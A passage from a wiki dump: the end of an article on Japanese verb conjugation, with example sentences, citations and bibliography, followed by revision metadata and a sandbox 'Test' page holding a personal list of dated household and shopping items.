mono mo dageki o ataeru koto wa nakatta.}}
|-
| Come a hundred or myriad of you, no means no.
| {{#invoke:Nihongo|nihongo||百人'''來うと'''、萬人'''來うと'''、駄目つと云つたら駄目なのだ。<ref>{{#invoke:cite|book|lang=ja|script-title=ja:フィガロの結婚|trans-title=The Marriage of Figaro|title=LA FOLLE JOURNÉE, OU LE MARIAGE DE FIGARO, COMEDIE EN CINQ ACTES ET EN PROSE, <span style=font-variant:small-caps>Par</span> M. DE BEAUMARCHAIS|script-chapter=ja:フィガロの結婚|trans-chapter=[[The Marriage of Figaro (play)|The Marriage of Figaro]]|chapter=LA FOLLE JOURNÉE, OU LE MARIAGE DE FIGARO, COMEDIE EN CINQ ACTES ET EN PROSE, <span style=font-variant:small-caps>Par</span> M. DE BEAUMARCHAIS|quote=<p style=text-align:center>SCENE XVIII.<br>LES ACTEURS PRÉCÉDENS, SUZANNE.<br>SUZANNE ''ſon éventail ſur le viſage''.<br>LE COMTE.</p>……Ah! la voici qui ſort. (''Il la prend violemment par le bras.'') Que croyez-vous, Meſſieurs, que mérite une odieuſe….<p style=text-align:center>SUZANNE ''ſe jette à genoux la tête baiſſée''.<br>LE COMTE.</p>Non, non.<p style=text-align:center>FIGARO ''ſe jette à genoux de l'autre côté''.<br>LE COMTE ''plus fort''.</p>Non, non.<p style=text-align:center>MARCELINE ''ſe jette à genoux devant lui''.<br>LE COMTE ''plus fort''.</p>Non, non.<p style=text-align:center>TOUS ''ſe mettent à genoux, excepté Brid'oiſon''.<br>LE COMTE ''hors de lui''.</p>Y ſuffiez-vous un cent.|script-quote=ja: '''第十八場'''<br> 前場の人物、シュザンヌ<br> (シュザンヌ顏を扇子を蔽ふて出る)<br> 伯爵―<span style=writing-mode:vertical-rl;text-orientation:sideways>⁞</span><span style=writing-mode:vertical-rl;text-orientation:sideways>⁞</span>あ! そら、奴、出をつたぢやないか。(彼、彼女の腕を亂暴に引捉む)みんなどう思ふ、こんな極道女は<span style=writing-mode:vertical-rl;text-orientation:sideways>⁞</span><span style=writing-mode:vertical-rl;text-orientation:sideways>⁞</span><br>(シュザンヌ、面を伏せて、その足下に跪く)<br> 伯爵―駄目だ、駄目だ。<br>(フィガロその側に跪く)<br> 伯爵―(より强く) 駄目だ、駄目だ。<br>(マルスリイヌ、彼の前に跪く)<br> 伯爵―(より强く) 駄目だ、駄目だ。<br>(ブリドアゾンを除く一同その周圍に跪く)<br> 伯爵―(我を忘れて) 百人來うと、萬人來うと、駄目つと云つたら駄目なのだ。|trans-quote=<p style=text-align:center>'''SCENE XVIII'''</p>Characters from the previous scene, Suzanne<br>''(Enter Suzanne, covering her face with her fan)''<br>The Count—…Ah! There, she is coming out. ''(He jerks her arm violently)'' Messieurs, what do ye think, this odious…<br>''(Suzanne faces down, kneels at his feet)''<br>The Count—No, no.<br>''(Figaro kneels on the other side)''<br>The Count—''(more strongly)'' No, no.<br>''(Marceline kneels before him)''<br>The Count—''(more strongly)'' No, no.<br>''(All but Brid'oison kneel around him)''<br>The Count—''(beside himself)'' Come a hundred or myriad of you, no means no.|pp=406–407|url=https://dl.ndl.go.jp/pid/969003/1/208|authorlink=Pierre-Augustin de Beaumarchais|first=Pierre-Augustin Caron|last=de Beaumarchais|translator-last=Inoue|translator-first=Isamu|publisher={{#invoke:lang|lang|ja|聚英閣}}|date=30 April 1924|location=[[Ushigome]], Tokyo}}</ref>|Hyakunin '''kō to''', bannin '''kō to''', dame tto ittara dame na no da.}}
|-
| Wherever you are, don't forget I'll be thinking of you.
| {{#invoke:Nihongo|nihongo||あなたがどこに'''いようとも'''、私はあなたのことを思っているのだということを忘れないでね|Anata ga doko ni '''iyō to mo''', watashi wa anata no koto o omotte iru no da to yū koto o wasurenai de ne}}
|-
! rowspan=5 | {{#invoke:nihongo|nihongo||ばかり|bakari}}
| You might almost say it was your right.{{efn|''Iware'' here is likely a subject-exalting use of the [[#Passive|passive]].}}
| {{#invoke:Nihongo|nihongo||あなたの権利なんだからと'''言われんばかり'''です|Anata no kenri na n da kara to '''iwaren bakari''' desu}}
| rowspan=5 | almost/barely/virtually doing something; being just about to do something; being so close to doing something
|-
| It was an apology in which he kept groveling on the floor mat and all but wailed.
| {{#invoke:Nihongo|nihongo||畳に額を擦り付け擦り付け、'''号泣せんばかり'''の詫び方だった|[[Tatami]] ni hitai o suritsuke suritsuke, '''gōkyū sen bakari''' no wabikata datta}}
|-
| What surprised me was when the film got to the marathon part, the theater almost burst with frenzy.
| {{#invoke:Nihongo|nihongo||驚いたのは、映画のマラソンのところになると、劇場が'''割れんばかり'''の熱狂でしたよ|Odoroita no wa, eiga no marason no tokoro ni naru to, gekijō ga '''waren bakari''' no nekkyō deshita yo}}
|-
| Then he looked at me for a while, as I kept on silently thinking, and finally he spoke, barely suppressing a burst of laughter.
| {{#invoke:Nihongo|nihongo||そして彼は、黙って考え続けている僕をちょっと眺めて、ついに'''吹き出さんばかり'''にしていった|So shite kare wa, damatte kangaetsuzukete iru boku o chotto nagamete, tsui ni '''fukidasan bakari''' ni shite itta}}
|-
| In my true heart<br>I find she names my very deed of love;<br>Only she comes too short:{{efn|She almost put it adequately.}}
| {{#invoke:Nihongo|nihongo||姉上はわたくしが思ってをる通りをおっしゃったのでございますの、只、少ゥし'''おっしゃり足りませんばかり'''。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''リガ''' わたくしの心持も姉上と全く同じなのでございます、姉上同樣におぼしめしていたゞいて當然と存じてをります。姉上はわたくしが思ってをる通りをおっしゃったのでございますの、只、<ruby>少<rp>(</rp><rt>すこ</rt><rp>)</rp></ruby>ゥしおっしゃり足りませんばかり。わたくしは、最も大切な感覺の、ありとあらゆる歡樂をも<ruby>仇<rp>(</rp><rt>あだ</rt><rp>)</rp></ruby><ruby>敵<rp>(</rp><rt>がたき</rt><rp>)</rp></ruby>と<ruby>斥<rp>(</rp><rt>しりぞ</rt><rp>)</rp></ruby>け、<ruby>只<rp>(</rp><rt>たゞ</rt><rp>)</rp></ruby><ruby>一<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>へに殿下を愛敬し奉るのを幸福と思うてをりまする。|quote='''Reg.''' Sir, I am made of that self mettle as my sister,<br>And prize me at her worth. In my true heart<br>I find she names my very deed of love;<br>Only she comes too short: that I profess<br>Myself an enemy to all other joys<br>Which the most precious square of sense possesses,<br>And find I am alone felicitate<br>In your dear highness' love.|url=https://dl.ndl.go.jp/pid/1664844/1/10|page=8|script-chapter=ja:第一場 リヤ王宮殿。|chapter=Scene I. King Lear's palace.|title=King Lear|script-title=ja:リヤ王|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|authorlink=William Shakespeare|first=William|last=Shakespeare|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|date=15 May 1957|location=[[Bunkyō]], Tokyo}}</ref>|Aneue wa watakushi ga omotte oru tōri o osshatta no de gozaimasu no, tada, sukōshi '''ossharitarimasen bakari'''.}}
|}
== See also ==
* [[Japanese conjugation]]
* [[Japanese godan and ichidan verbs]]
* [[Honorific speech in Japanese]]
* [[Japanese adjectives]]
* [[Japanese particles]]
* [[Japanese grammar]]
== Notes ==
{{reflist|group=lower-alpha}}
== References ==
<references />
== Bibliography ==
{{refbegin}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Morihide|last=Akimoto|pp=709–710, 712–714, 742–743, 822–823, 871}}
* {{#invoke:cite|book|last=Banno|first=Eri|last2=Ikeda|first2=Yōko|last3=Ohno|first3=Yutaka|last4=Shinagawa|first4=Chikako|last5=Tokashiki|first5=Kyōko|title=GENKI: An Integrated Course in Elementary Japanese Ⅰ|date=5 March 2020a|orig-date=20 May 1999|publisher=The Japan Times Publishing|location=[[Chiyoda, Tokyo]]|isbn=978-4-7890-1730-5|edition=3rd}}
* {{#invoke:cite|book|last=Banno|first=Eri|last2=Ikeda|first2=Yōko|last3=Ohno|first3=Yutaka|last4=Shinagawa|first4=Chikako|last5=Tokashiki|first5=Kyōko|title=GENKI: An Integrated Course in Elementary Japanese Ⅱ|date=5 October 2020b|orig-date=20 October 1999|publisher=The Japan Times Publishing|location=[[Chiyoda, Tokyo]]|isbn=978-4-7890-1732-9|edition=3rd}}
* {{#invoke:cite|book|last=Frellesvig|first=Bjarke|title=A History of the Japanese Language|publisher=Cambridge University Press|location=New York|year=2010|isbn=978-0-521-65320-6}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Toshihiro|last=Fujii|pp=38–39, 58–59, 100–101}}
* {{#invoke:cite|book|authorlink=Harold Gould Henderson|first=Harold Gould|last=Henderson|title=Handbook of Japanese Grammar|edition=revised|year=1948|orig-year=1943|publisher=The Riverside Press|location=Cambridge, Massachusetts}}
* {{#invoke:cite|book|last=Iori|first=Isao|last2=Takanashi|first2=Shino|last3=Nakanishi|first3=Kumiko|last4=Yamada|first4=Toshihiro|editor-last=Matsuoka|editor-first=Hiroshi|location=[[Chiyoda, Tokyo]]|date=15 November 2018|script-title=ja:<ruby>初<rp>(</rp><rt>しょ</rt><rp>)</rp></ruby><ruby>級<rp>(</rp><rt>きゅう</rt><rp>)</rp></ruby>を<ruby>教<rp>(</rp><rt>おし</rt><rp>)</rp></ruby>える<ruby>人<rp>(</rp><rt>ひと</rt><rp>)</rp></ruby>のための<ruby>日<rp>(</rp><rt>に</rt><rp>)</rp></ruby><ruby>本<rp>(</rp><rt>ほん</rt><rp>)</rp></ruby><ruby>文<rp>(</rp><rt>ぶん</rt><rp>)</rp></ruby><ruby>法<rp>(</rp><rt>ぽう</rt><rp>)</rp></ruby>ハンドブック|publisher=3A Corporation|lang=ja}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Michihiro|last=Itoi|pp=614–617, 821–822}}
* {{#invoke:cite|book|title=[[Japanese: A Comprehensive Grammar]]|edition=2nd|series=Routledge Comprehensive Grammars|publisher=Routledge|first=Stefan|last=Kaiser|first2=Yasuko|last2=Ichikawa|first3=Noriko|last3=Kobayashi|first4=Hilofumi|last4=Yamamoto|orig-year=2001|year=2013|isbn=978-0-203-08519-6|location=Milton Park, Abingdon, Oxfordshire, Oxford; New York}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Masanori|last=Kimura|pp=353–354|script-contribution=ja:'''しる''' <small>(知る)</small>}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Kōzō|last=Komatsu|pp=67–68, 161–162}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Atsushi|last=Kubota|pp=32–33, 747}}
* {{#invoke:cite|journal|last=Koyanagi|first=Tomokazu|script-title=ja:中央語における動詞活用の歴史|script-journal=ja:全国方言文法辞典資料集|date=March 2014|volume=2|pp=20–29|publisher={{#invoke:lang|lang|ja|方言文法研究会}}|id=NCID: BB1529267X|url=http://hougen.sakura.ne.jp/shuppan/2014/04_020.pdf|lang=ja|archive-url=https://web.archive.org/web/20181020134521/http://hougen.sakura.ne.jp/shuppan/2014/04_020.pdf|archive-date=20 October 2018|url-status=live}}
* {{#invoke:cite|book|title=The Structure of the Japanese Language|last=Kuno|first=Susumu|year=1973|publisher=MIT Press|location=Cambridge, Massachusetts; London, England|isbn=0-262-11049-0}}
* {{#invoke:cite|book|lang=ja|script-title=ja:新日本文法研究|last=Kuno|first=Susumu|date=1 April 1983|publisher=Taishukan Publishing|location=[[Chiyoda, Tokyo]]}}
* {{#invoke:cite|book|last=Lammers|first=Wayne P.|title=Japanese the Manga Way: An Illustrated Guide to Grammar and Structure|publisher=Stone Bridge Press|year=2005|lang=en,ja|location=Berkeley, California|isbn=978-1-880656-90-7}}
* {{#invoke:cite|book|last=Makino|first=Seiichi|last2=Tsutsui|first2=Michio|title=A Dictionary of Basic Japanese Grammar|script-title=ja:日本語基本文法辞典|date=20 May 2018|publisher=The Japan Times|location=[[Minato, Tokyo]]|isbn=978-4-7890-0454-1|edition=77th|orig-date=20 March 1986}}
* {{#invoke:cite|book|title=A Reference Grammar of Japanese|last=Martin|first=Samuel Elmo|authorlink=Samuel E. Martin|publisher=University of Hawai'i Press|location=Honolulu|year=2004|edition=revised|orig-year=1975|isbn=0-8248-2818-6}}
* {{#invoke:cite|book|last=Matsuoka McClain|first=Yoko|author-link=Yoko Matsuoka McClain|year=1986|orig-year=1981|title=Handbook of Modern Japanese Grammar: including Lists of Words and Expressions with English Equivalents for Reading Aid|script-title=ja:口語日本文法便覧(日本語特殊表現とその英語相当訳及び例題付)|location=[[Chiyoda, Tokyo]]|publisher=The Hokuseido Press|isbn=4-590-00570-0}}
* {{#invoke:cite|book|url=https://dl.ndl.go.jp/pid/1119829/1/1|script-title=ja:口語法別記|author=[[Ministry of Education, Science, Sports and Culture]]|publisher=Dainippon Tosho|date=15 September 1935a|edition=3rd|location=[[Kyōbashi, Tokyo]]|lang=ja}}
* {{#invoke:cite|book|title=Essential Japanese Vocabulary: Learn to Avoid Common (and Embarrassing!) Mistakes|first=Akira|last=Miura|publisher=Tuttle Publishing|year=2011|isbn=978-4-8053-1127-1}}
* {{#invoke:cite|journal|last=Miyake|first=Toshihiro|script-title=ja:可能動詞の成立|script-journal=ja:日本語の研究|date=1 April 2016|volume=12|issue=2|pp=1–17|doi=10.20666/nihongonokenkyu.12.2_1|url=https://www.jstage.jst.go.jp/article/nihongonokenkyu/12/2/12_1/_pdf|lang=ja|archive-url=https://web.archive.org/web/20171120101107/https://www.jstage.jst.go.jp/article/nihongonokenkyu/12/2/12_1/_pdf|archive-date=20 November 2017|url-status=live}}
* {{#invoke:cite|journal|last=Nakamura|first=Masayuki|script-title=ja:日本語動詞の音便について|journal=Kotonoha|date=31 March 2009|issue=76|pp=1–3|url=http://www.for.aichi-pu.ac.jp/museum/pdf4/nakamura76.pdf|publisher={{#invoke:lang|lang|ja|古代文字資料館}}|location=Japan|lang=ja|archive-url=https://web.archive.org/web/20190819074312/http://www.for.aichi-pu.ac.jp/museum/pdf4/nakamura76.pdf|archive-date=19 August 2019|url-status=live}}
* {{#invoke:cite|journal|last=Nakano|first=Kotoyo|title=Japanese potential verb|script-title=ja:日本語の可能動詞|script-journal=ja:下関市立大学論集|date=September 2008|volume=52|issue=1–2|pp=103–114|url=http://ypir.lib.yamaguchi-u.ac.jp/sc/file/1683/20100303141623/SC20052000109.pdf|publisher={{#invoke:lang|lang|ja|下関市立大学学会}}|lang=ja|issn=0387-5296|oclc=183202722|id=SC20052000109|archive-url=https://web.archive.org/web/20210126143225/http://ypir.lib.yamaguchi-u.ac.jp/sc/file/1683/20100303141623/SC20052000109.pdf|archive-date=26 January 2021|url-status=live}}
* {{#invoke:cite|book|script-title=ja:方言文法調査ガイドブック|lang=ja|url=https://www2.ninjal.ac.jp/takoni/DGG/DGG1.pdf|last=Shibuya|first=Katsumi|editor-last=Ōnishi|editor-first=Takuichirō|date=March 2002|publisher=National Institute for Japanese Language and Linguistics|location=[[Kita, Tokyo]]}}
* {{#invoke:cite|thesis|last=Poser|first=William John|authorlink=William Poser|degree=doctoral|title=The Phonetics and Phonology of Tone and Intonation in Japanese|url=http://www.ai.mit.edu/projects/dm/theses/poser84.pdf|publisher=Massachusetts Institute of Technology|date=23 November 1984}}
* {{#invoke:cite|book|title=Making Sense of Japanese: What the Textbooks Don’t Tell You|authorlink=Jay Rubin|first=Jay|last=Rubin|publisher=Kodansha International|orig-date=January 2002|date=January 2004|edition=3rd|isbn=4-7700-2802-4|script-title=ja:<ruby>日<rp>(</rp><rt>に</rt><rp>)</rp></ruby><ruby>本<rp>(</rp><rt>ほん</rt><rp>)</rp></ruby><ruby>語<rp>(</rp><rt>ご</rt><rp>)</rp></ruby>の<ruby>秘<rp>(</rp><rt>ひ</rt><rp>)</rp></ruby><ruby>訣<rp>(</rp><rt>けつ</rt><rp>)</rp></ruby>}}
* {{#invoke:cite|thesis|last=Sakaki|first=Mika|degree=doctoral|script-title=ja:動詞の音便の方言学的研究―サ行イ音便を中心として―|date=17 January 2019|url=https://tohoku.repo.nii.ac.jp/?action=repository_uri&item_id=127187&file_id=18&file_no=1|publisher=Tohoku University|lang=ja|archive-url=https://web.archive.org/web/20210628060930/https://tohoku.repo.nii.ac.jp/?action=repository_action_common_download&item_id=127187&item_no=1&attribute_id=18&file_no=1|archive-date=28 June 2021|url-status=live}}
* {{#invoke:cite|book|last=Shirane|first=Haruo|author-link=Haruo Shirane|title=Classical Japanese: A Grammar|year=2005|location=New York|publisher=Columbia University Press|isbn=978-0-231-13524-5}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Hideo|last=Suzuki|pp=336, 359–360, 598–599, 745–747, 843–844}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Tsutomu|last=Yada|pp=209–210, 216}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Akiho|last=Yamaguchi|pp=63–64, 162–163, 424–425, 502, 508–509, 728, 777, 822, 853}}
* {{#invoke:cite|book|script-title=ja:日本語文法大辞典|editor-last=Yamaguchi|editor-first=Akiho|editor-last2=Akimoto|editor-first2=Morihide|publisher=Meiji Shoin|date=1 March 2001|lang=ja|location=[[Chiyoda, Tokyo]]|isbn=4-625-40300-6|first=Keisuke|last=Yamauchi|pp=557–558|script-contribution=ja:'''なさる'''<small>(為さる)</small>}}
{{refend}}
== External links ==
{{Wikibooks|Japanese|Verb conjugation table}}
* [http://www.japaneseverbconjugator.com/ Japanese Verb Conjugator], online tool giving all forms for any verb
* [http://www.verbix.com/languages/japanese.shtml Japanese Verb Conjugator], online tool with romaji, kana, and kanji output
* [https://www.aijapanesetutor.org/verbs/conjugation-practice Japanese Verb Conjugation Practice], online tool for verb conjugation practice
* [http://jlearn.net/Dictionary/Search JLearn.net], an online Japanese dictionary that accepts conjugated terms and returns the root verb
* [https://cotoacademy.com/how-to-conjugate-te-form-illustrated-guide-japanese-verbs/] Guide to conjugation te form of Japanese verbs
* [https://cotoacademy.com/free-japanese-verb-dictionaries-links-list/] List of Free Online Verb Dictionaries
* [https://verbhandbook.ninjal.ac.jp/] Handbook of Japanese Verbs – National Institute of Japanese Language and Linguistics
{{Japanese language}}
{{Language verbs}}
[[Category:Japanese grammar|Verb conjugations]]
[[Category:Japonic verbs]]
7vnumg9izbll9q7to21420oo4klwcf9
768337
768284
2026-10-13T20:22:55Z
Krinkle
11903
Replaced content with "test"
768337
wikitext
text/x-wiki
test
jrwjerxiekdtj9k82lg930wpkr6tq6r
Wikipedia:Test
4
71460
768343
768232
2026-10-13T23:00:13Z
Rosetvrnip
75253
/* Test */ Start
768343
wikitext
text/x-wiki
= Test =
1013
Candy Crush Saga Wiki: Tasty Sugar Track Edits Is Out Of Control (Mostly 6/23) and until 24 Restriction until no edits made all day, Use Account Sometimes.
Up To Date
2:6 — 9:30, 237 days, (10:1+ to fill out).
*10:1, 10:2, 10:3, 10:4, 10:5 (?)
*10:6 (?)
*10:7 (?)
*10:8 (?)
*10:9 (?)
*10:10 (10:11)
''10:12''
*202 6525, Pot with Fork and Spoon, Bags with Sunglasses.
*202 6526, Baskets, Tobacco Stuff or Socks.
*202 6527, Food Shopping like Cola Bottles, Cans, Cordial and Others.
*202 6528, Socks, Pairs of Shoes, Dressing Gowns.
*202 6529, Towels, Cubes with Things.
*202 6530, Cloths, Flowers Frisun or Soap.
*202 6531, Food Shopping like Party Pies, Waters and Others.
*202 6601, Pairs of Boots, Pillow or Podiatrist.
*202 6602, Plates or Pans, Grated Cheese or Baskets.
*202 6603, Forks, Pans and Other Kitchen Tools.
*202 6604, Cups, Cordial Jug or Strawberry Milk.
*202 6605, Food Shopping like Cans of Coca Cola, Waters, Cordials or Pile of Sauce.
*202 6606, Purses, Lu Papers or Paper Towels.
*202 6607, Candles, Statues or Pizza Boxes.
*202 6608, Cups, Blankets and Others.
*202 6609, Food Shoppibg like Cola Bottles, Sour Cream and Onion Chips or Cans.
*202 6610, Towels, Cloths, Soap or Containers.
*202 6611, Nachos, Apple N Raspberry Codrial or Stationary.
*202 6612, Basket, Electric Bed with Instructions or Paint.
*202 6613, Aerobar, Birthday Cake or Packet of Candles.
*202 6614, Plates, Blankets or even Vacuum Cleaner.
*202 6615, Towels, Cloths or Dressing Gowns.
*202 6616, Smiths Chips, Heater Vents, Stuff for Lasagna or Cloths.
*202 6617, Pans, Table Spoons or Lids.
*202 6618, Food Shopping like Cans of Coca Cola, Waters, Milk and Others.
*202 6619, Chocolate Milk, Cups of Tea or Extra Mints.
*202 6620, Kitkats, Pens or Domino's Pizza.
*202 6621, Blankets and Pillows or Vacuum Cleaner.
*202 6622, Tea Towels, Cans of Coca Cola or Carlton Draught.
*202 6623, Food Shopping like Bottles of Cola, Waters or New Pyjamas.
*202 6624, Staples, Socks, Hats and Others.
*202 6625, Kitchen Bowls, Pans and Others.
*202 6626, Food Shopping like Colas, Milk or Rainbow Paddlepop.
*202 6627, Tablemats, Sunglasses or Garden Plant.
*202 6628, Boots, Sleep Medicine or Pillow.
*202 6629, Sewing Machine, Tobacco Stuff or Pan.
*202 6630, Food Shopping like Cans of Cocacola, Bottles, Kitkat or M&Ms.
*202 6701, BBQ Chips, Biskits or Grated Cheese.
*202 6702, Lighters, Plates or Cloths.
*202 6703, Hot Dogs, Cola Cans or Lasagna.
*202 6704, Mop, Battery Packs or Doorhandle.
*202 6705, Video Cameras, Internet or McDonalds Bag?.
*202 6706, Pans, Freshmint, or Hotdog Roll.
*202 6707, Food Shopping like Cans of Coca Cola, Cola Bottles, Waters, Shopping Bag or Grated Cheese.
*202 6708, Ktimes, Nutrigrain or Mueslibars.
*202 6709, Saladas, Socks, Vegemite or Textures.
*202 6710, Baskets, Favourites or Cordial Jug.
*202 6711, Shoes like Novo, Vacuum or Carlton Draught.
*202 6712, Aldi Stuff like Mints, Airfryer or Towel.
*202 6713, Food Shopping like Cola Bottles, Cheese, Milk or Paddle Pops.
*202 6714, Baskets, Mask Fresheners or Coat.
*202 6715, Towels, Cloths or Lasagna?.
*202 6716, Soaps, Toothpastes, Cotton Buds and Others.
*202 6717, Cans of Coca Cola, Bottles, Waters, Novo Shoes and Others.
*202 6718, Food Shopping like Upngo, Breads or Cans of Coca Cola.
*202 6719, Quichebox, Plate or Cup or Cheese Machine.
*202 6720, Cups, Milkshakes, Jug or Can of Coca Cola?.
*202 6721, Baskets, Coathangers, Chocolate Milk or Frypan?.
*202 6722, Food Shopping like Cola Bottles, Waters, Milk or Nachos?
*202 6723, Slippers, Blanket Sheets, Clothes Pair and Others.
*202 6724, Pans, Plates, Scissors or Tools.
*202 6725, Aldi Stuff, Domino's Pizza or Lynxspray.
*202 6726, Towels, Lighter or Journal Books.
*202 6727, Food Shopping like Bottles of Cola or Water, Cans or Milk.
*202 6728, Baskets, Battery Packs or Vaporizer and Others.
*202 6729, Sleep Medicines, Deep Heat or Pillows.
*202 6730, Schnitzels, Nesquiks, Milos and Others.
*202 6731, Toothpicks and Nuts and Others.
*202 6801, Food Shopping like Bottles, Cans, Waters and Others.
*202 6802, Plates, Bowls or Battery Packs.
*202 6803, Towels, Blankets, Purse or Boots.
*202 6804, M&M's, Baskets, Cloths or Coathangers.
*202 6805, Boots, Leaves, Texture and Others.
*202 6806, Food Shopping like Cans of Coca Cola, Nachos, Cheese or Milk.
*202 6807, Dressing Gowns, Glasses or Pillows.
*202 6808, Grater Cheese, Pizza, Mat or Plate.
*202 6809, Stylus, Mask, Soaps and Others.
*202 6810, Paper Towels, Staples, Lighter and Others.
*202 6811, Baskets, Cans of Coca Cola or Biskit Shapes.
*202 6812, Blackngold Cola, Blankets or Chocolatebox.
*202 6813, Smiths Chips, Cheese Mozarella or Bread.
*202 6814, Textures, Pens or Basket and Others.
*202 6815, Smoothies, Toys, Chopping Board or Box.
*202 6816, Cups like Gold, Cup of Tea, Metal Bottle and Others.
*202 6817, Food Shopping like Water Bottles, Cans of Coca Cola, Cola Bottles or Chocolate Milk.
*202 6818, Baskets, Keys or Cordial Jug and Others.
*202 6819, Aldi Stuff, Pizza or Pumpsoap.
*202 6820, Towels, Blankets Sheets and Others.
*202 6821, Cheese, Breads, Waters or Cans of Coca Cola and Others.
*202 6822, Sleep Medicone, Quichebox, Towels and Others.
*202 6823, Shoes, Hats or Ashtray and Others.
*202 6824, Cups, Milk, Towels or some Aldi and Others.
*202 6825, Battery Pack, Clothes and Others.
*202 6826, Cans of Coca Cola, Lime Cordial, Milk and Others.
*202 6827, Blankets, Pillows, Circle Table and Others.
*202 6828, Grated Cheese, Scissors, Knifes and Forks and Others.
*202 6829, Cans of Coca Cola, Bottles, Waters, Milk and Others.
*202 6830, Plates, Stand, Frypans and Others.
*202 6831, Metal Things, Water Bottles, Cans of Coca Cola and Others.
*202 6901, Aldi Bag with Stuff or Aprons.
*202 6902, Food Shopping like Cola Bottles, Cheese with Nachos and Others.
*202 6903, Mask Perfumes, Soaps and Others.
*202 6904, Baskets, Battery Pack, Pillows or Lasagna and Others
*202 6905, Frypans, Lids, Tablemats and Others.
*202 6906, Fathers Day Presents, Glasses, Bags and Others.
*202 6907, Deep Heat, Scissors, Milo or Container and Others.
*202 6908, Baskets, Coathanger, Blankets and Others.
*202 6909, Container Biscuit, Pastas or Pans.
*202 6910, Food Shopping like Milks, M&Ms, Sauces, Coca Cola Cans and Others.
*202 6911, Pillows, Dressing Gowns, Extra Mint and Others.
*202 6912, Laundry Stuff like boxes, bags or Dad's Wrist and Others.
*202 6913, Grater Stuff, Pans and Others.
*202 6914, Bottles of Cola, Breads, Milk to make Chocolate.
*202 6915, Iced Coffee, Water Bottles, Baskets and Others.
*202 6916, Aldi Bag, Strawberry Mints and Others.
*202 6917, Lighters, Plates, Freshener or Spray and Others.
*202 6918, New Clothes, Basket, Extra Mint and Others.
*202 6919, Face Cloths, Lu Paper, Water and Others.
*202 6920, Domino's Pizza, Pillows, Notes and Others.
*202 6921, Remotes, Pizza and Barbecue Shapes, Square Pillow and Others.
*202 6922, Food Shopping like Waters, Cans of Coca Cola, Cheese, Lasagna and Others.
*202 6923, Cloths, Facecloth, New Pot and Others.
*202 6924, Aldi Stuff, Glass Cups, Candles and Others.
*202 6925, Copy Paper, Glasses, Lasagna Tray Pan and Others.
*202 6926, Tax Boxes, Bags, Lighter, Texter and Others.
*202 6927, Cans of Coca Cola, Bottles, Cordial and Others.
*202 6928, Pairs of Shoes or Slippers, Square Pillow and Others.
Current, 202 6929. ($#!+).
*202 6930. (iPod Classic, Playlist or Songs)
''20261001''
tgv4z4xn12dmwnkbrnapty2lrkcobo5
768344
768343
2026-10-13T23:00:27Z
Rosetvrnip
75253
768344
wikitext
text/x-wiki
= Test =
1013 -
Candy Crush Saga Wiki: Tasty Sugar Track Edits Is Out Of Control (Mostly 6/23) and until 24 Restriction until no edits made all day, Use Account Sometimes.
Up To Date
2:6 — 9:30, 237 days, (10:1+ to fill out).
*10:1, 10:2, 10:3, 10:4, 10:5 (?)
*10:6 (?)
*10:7 (?)
*10:8 (?)
*10:9 (?)
*10:10 (10:11)
''10:12''
*202 6525, Pot with Fork and Spoon, Bags with Sunglasses.
*202 6526, Baskets, Tobacco Stuff or Socks.
*202 6527, Food Shopping like Cola Bottles, Cans, Cordial and Others.
*202 6528, Socks, Pairs of Shoes, Dressing Gowns.
*202 6529, Towels, Cubes with Things.
*202 6530, Cloths, Flowers Frisun or Soap.
*202 6531, Food Shopping like Party Pies, Waters and Others.
*202 6601, Pairs of Boots, Pillow or Podiatrist.
*202 6602, Plates or Pans, Grated Cheese or Baskets.
*202 6603, Forks, Pans and Other Kitchen Tools.
*202 6604, Cups, Cordial Jug or Strawberry Milk.
*202 6605, Food Shopping like Cans of Coca Cola, Waters, Cordials or Pile of Sauce.
*202 6606, Purses, Lu Papers or Paper Towels.
*202 6607, Candles, Statues or Pizza Boxes.
*202 6608, Cups, Blankets and Others.
